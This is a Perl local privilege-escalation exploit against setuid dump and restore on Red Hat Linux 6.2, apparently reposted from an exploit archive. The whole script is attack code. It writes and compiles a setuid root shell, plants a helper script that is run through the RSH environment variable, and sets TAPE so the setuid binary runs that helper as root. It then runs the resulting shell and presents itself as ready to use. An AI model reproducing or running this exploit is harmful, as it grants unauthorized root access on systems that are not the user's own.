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Restore and Dump Local Exploit
[==============================
Restore and Dump Local Exploit
==============================
#!/usr/bin/perl
# perl exploit of restore and dump
# redhat linux 6.2
# written by tlabs
# Use at your discretion
$EXPORT1="TAPE=garbage:garbage" ;
$EXPORT2="RSH=./hey" ;
sub USAGE
{
print "$0 <type>\n1=dump 2=dump.static 3=restore 4=restore.staic\nYour choice innit;)\nWritten by Tlabs\n" ;
exit 0 ;
}
sub ERROR
{
print "$_[0]\n" ;
exit 0 ;
}
open(TEMP, ">shell.c")|| ERROR("Something went wrong:$!");
printf TEMP "#include<unistd.h>\n#include<stdlib.h>\nint main()\n{" ;
printf TEMP " setuid(0);\n\tsetgid(0);\n\texecl(\"/bin/sh\",\"sh\",0);\n\treturn 0;\n}" ;
close(TEMP);
system "cc -o shell shell.c" ;
unlink "shell.c" ;
open(TEMP1, ">hey")|| ERROR("Something went wrong: $!");
printf TEMP1 "#!/bin/sh\nchown root shell\nchmod 4755 shell" ;
close(TEMP1);
chmod(0755, "hey");
if ($ARGV[$0] eq "1")
{
$DUMPER="/sbin/dump" ;
if ( -u "$DUMPER" )
{
system "export $EXPORT1 ;export $EXPORT2 ; $DUMPER -0 \/" ;
sleep(3);
if ( -u "shell" )
{
unlink "hey" ;
system "./shell" ;
}
else
{
unlink "hey" ;
unlink "shell" ;
print "Something fucked at the last, sorry" ;
}
}
else
{
unlink "hey" ;
unlink "shell" ;
printf "Dump is not exploitable on this system\n";
}
}
elsif ($ARGV[$0] eq "2")
{
$DUMPER="/sbin/dump.static" ;
if ( -u "$DUMPER" )
{
system "export $EXPORT1 ;export $EXPORT2 ; $DUMPER -0 \/" ;
sleep(3);
if ( -u "shell" )
{
unlink "hey" ;
system "./shell" ;
}
else
{
unlink "hey" ;
unlink "shell" ;
print "Something fucked at the last, sorry" ;
}
}
else
{
unlink "hey" ;
unlink "shell" ;
printf "Dump.static is not exploitable on this system\n";
}
}
elsif ($ARGV[$0] eq "3")
{
$RESTORER="/sbin/restore" ;
if ( -u "$RESTORER" )
{
system "export $EXPORT1 ; export $EXPORT2 ; $RESTORER -i" ;
sleep(3);
if ( -u "shell" )
{
unlink "hey" ;
system "./shell" ;
}
else
{
unlink "hey" ;
unlink "shell" ;
print "Something fucked at the last, sorry" ;
}
}
else
{
unlink "hey" ;
unlink "shell" ;
printf "Restore is not exploitable on this system\n";
}
}
elsif ($ARGV[$0] eq "4")
{
$RESTORER="/sbin/restore.static" ;
if ( -u "$RESTORER" )
{
system "export $EXPORT1 ; export $EXPORT2 ; $RESTORER -i" ;
sleep(3);
if ( -u "shell" )
{
unlink "hey" ;
system "./shell" ;
}
else
{
unlink "hey" ;
unlink "shell" ;
print "Something fucked at the last, sorry" ;
}
}
else
{
unlink "hey" ;
unlink "shell" ;
printf "Restore.static is not exploitable on this system\n";
}
}
else
{
USAGE ;
}
# 0day.today [2024-12-24] #